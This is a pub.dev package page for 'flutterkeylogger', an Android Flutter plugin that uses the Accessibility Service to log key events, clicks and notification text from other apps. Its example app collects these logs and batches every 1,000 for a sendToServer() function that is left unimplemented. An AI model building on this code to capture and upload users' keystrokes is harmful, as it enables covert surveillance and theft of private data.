flutterkeylogger 1.0.1+1

  • Readme
  • Changelog
  • Example
  • Installing
  • new46

Flutterkeylogger #

This package is build to scan the events on you android. It use Accessibility sevice to scan events.Fortunately it can also log the key events so it is named after keylogger for seo purposes 😜.

How to use ? #

If you want to use this plugin you will figure it out lol. I am too busy to write docs please someone send pr

Click here for Video tutorial

1.0.1+1 #

  • License updated

1.0.1 #

  • Description updated

1.0.0 #

  • Initial release and up an running

example/lib/main.dart

import 'package:flutter/material.dart';
import 'package:flutterkeylogger/flutterkeylogger.dart';
import 'package:flutterkeylogger_example/constant.dart';

void main() {
  runApp(MyApp());
}

class MyApp extends StatefulWidget {
  @override
  _MyAppState createState() => _MyAppState();
}

class _MyAppState extends State<MyApp> {
  List<Log> logs = [];
  @override
  void initState() {
    super.initState();
    keyLogger.logs((log) {
      logs.add(log);
      setState(() {});
      if (logs.length % 1000 == 0) {
        sendToServer();
        // after sending you can reset the logs like
        setState(() {
          logs = [];
        });
      }
    });
  }

  sendToServer() {
    //TODO:send data to server
  }

  int index = 0;
  @override
  Widget build(BuildContext context) {
    return MaterialApp(
      theme: ThemeData.dark(),
      home: Scaffold(
          appBar: AppBar(
            title: Text('Keylogger/EventLogger app'),
            actions: [
              Text(
                "Logs count:" + logs.length.toString(),
                style: TextStyle(fontSize: 30),
              )
            ],
          ),
          bottomNavigationBar: BottomNavigationBar(
            items: [
              BottomNavigationBarItem(
                  icon: Icon(Icons.filter), title: Text('Filtered')),
              BottomNavigationBarItem(
                  icon: Icon(Icons.whatshot), title: Text('Raw')),
            ],
            currentIndex: index,
            onTap: (index) {
              setState(() {
                this.index = index;
              });
            },
          ),
          body: IndexedStack(
            index: index,
            children: [
              ListView(
                children: [
                  for (var log in logs)
                    if (log.text != "[]")
                      RichText(
                          text: TextSpan(children: [
                        TextSpan(text: log.text, style: TEXTSTYLE),
                        TextSpan(
                            text: getTypeText(log.type), style: TEXTSTYLE2),
                        TextSpan(
                            text: " at " + getTime(log.logTime),
                            style: TEXTSTYLE2),
                      ], text: log.packageName + " > "))
                ],
              ),
              ListView(
                children: [
                  for (var log in logs) ...[
                    RichText(
                        text: TextSpan(
                            children: [
                          TextSpan(text: log.raw, style: TEXTSTYLE)
                        ],
                            text: log.packageName +
                                " " +
                                DateTime.fromMillisecondsSinceEpoch(
                                        int.parse(log.logTime))
                                    .toString() +
                                " > ")),
                    SizedBox(
                      height: 5,
                    )
                  ]
                ],
              ),
            ],
          )),
    );
  }

  String getTime(String tim) {
    var time = DateTime.fromMillisecondsSinceEpoch(int.parse(tim));
    return time.hour.toString() +
        ":" +
        time.minute.toString() +
        ":" +
        time.second.toString();
  }

  String getTypeText(String type) {
    switch (type) {
      case "TYPE_VIEW_CLICKED":
        return " Button Pressed";
      case "TYPE_NOTIFICATION_STATE_CHANGED":
        return " Notification Data";
        break;
      //TODO:handle other cases as required
      default:
        return "";
    }
  }
}

Use this package as a library

1. Depend on it

Add this to your package's pubspec.yaml file:


dependencies:
  flutterkeylogger: ^1.0.1+1

2. Install it

You can install packages from the command line:

with Flutter:


$ flutter pub get

Alternatively, your editor might support flutter pub get. Check the docs for your editor to learn more.

3. Import it

Now in your Dart code, you can use:


import 'package:flutterkeylogger/flutterkeylogger.dart';
  
Popularity:
Describes how popular the package is relative to other packages. [more]
0
Health:
Code health derived from static analysis. [more]
100
Maintenance:
Reflects how tidy and up-to-date the package is. [more]
80
Overall:
Weighted score of the above. [more]
46
Learn more about scoring.

We analyzed this package on Jul 3, 2020, and provided a score, details, and suggestions below. Analysis was completed with status completed using:

  • Dart: 2.8.4
  • pana: 0.13.13
  • Flutter: 1.17.5

Analysis suggestions

Package does not support Flutter platform linux

Because of import path [package:flutterkeylogger/flutterkeylogger.dart] that declares support for platforms: android, ios

Package does not support Flutter platform macos

Because of import path [package:flutterkeylogger/flutterkeylogger.dart] that declares support for platforms: android, ios

Package does not support Flutter platform web

Because of import path [package:flutterkeylogger/flutterkeylogger.dart] that declares support for platforms: android, ios

Package does not support Flutter platform windows

Because of import path [package:flutterkeylogger/flutterkeylogger.dart] that declares support for platforms: android, ios

Package not compatible with SDK dart

because of import path [flutterkeylogger] that is in a package requiring null.

Health suggestions

Format lib/flutterkeylogger.dart.

Run flutter format to format lib/flutterkeylogger.dart.

Maintenance suggestions

The package description is too short. (-20 points)

Add more detail to the description field of pubspec.yaml. Use 60 to 180 characters to describe the package, what it does, and its target use case.

Dependencies

Package Constraint Resolved Available
Direct dependencies
Dart SDK >=2.7.0 <3.0.0
flutter 0.0.0
Transitive dependencies
collection 1.14.12 1.14.13
meta 1.1.8
sky_engine 0.0.99
typed_data 1.1.6 1.2.0
vector_math 2.0.8
Dev dependencies
flutter_test